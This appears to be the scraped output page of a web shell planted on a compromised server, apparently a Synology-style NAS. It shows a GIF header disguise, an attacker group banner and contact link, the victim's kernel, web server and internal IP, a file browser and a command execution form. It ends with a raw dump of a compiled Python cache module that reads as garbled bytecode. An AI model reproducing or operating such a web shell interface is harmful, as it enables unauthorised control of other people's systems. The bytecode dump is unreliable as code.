GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
cachetools
/
__pycache__
[ HOME ]
Exec
Submit
lru.cpython-38.pyc
U �}�h� � @ s( d dl Z ddlmZ G dd� de�ZdS )� N� )�Cachec @ sT e Zd ZdZddd�Zejfdd�Zejfdd�Zejfd d �Zdd� Z d d� Z dS )�LRUCachez/Least Recently Used (LRU) cache implementation.Nc C s t �| ||� t�� | _d S �N)r �__init__�collections�OrderedDict�_LRUCache__order)�self�maxsize� getsizeof� r �5/tmp/pip-target-hu2ovxdm/lib/python/cachetools/lru.pyr s zLRUCache.__init__c C s || |�}| � |� |S r ��_LRUCache__update)r �keyZ cache_getitem�valuer r r �__getitem__ s zLRUCache.__getitem__c C s || ||� | � |� d S r r )r r r Z cache_setitemr r r �__setitem__ s zLRUCache.__setitem__c C s || |� | j |= d S r )r )r r Z cache_delitemr r r �__delitem__ s zLRUCache.__delitem__c C sJ zt t| j��}W n$ tk r6 td| jj ��Y nX || �|�fS dS )z>Remove and return the `(key, value)` pair least recently used.z%s is emptyN)�next�iterr � StopIteration�KeyError� __class__�__name__�pop�r r r r r �popitem s zLRUCache.popitemc C s4 z| j �|� W n tk r. d | j |<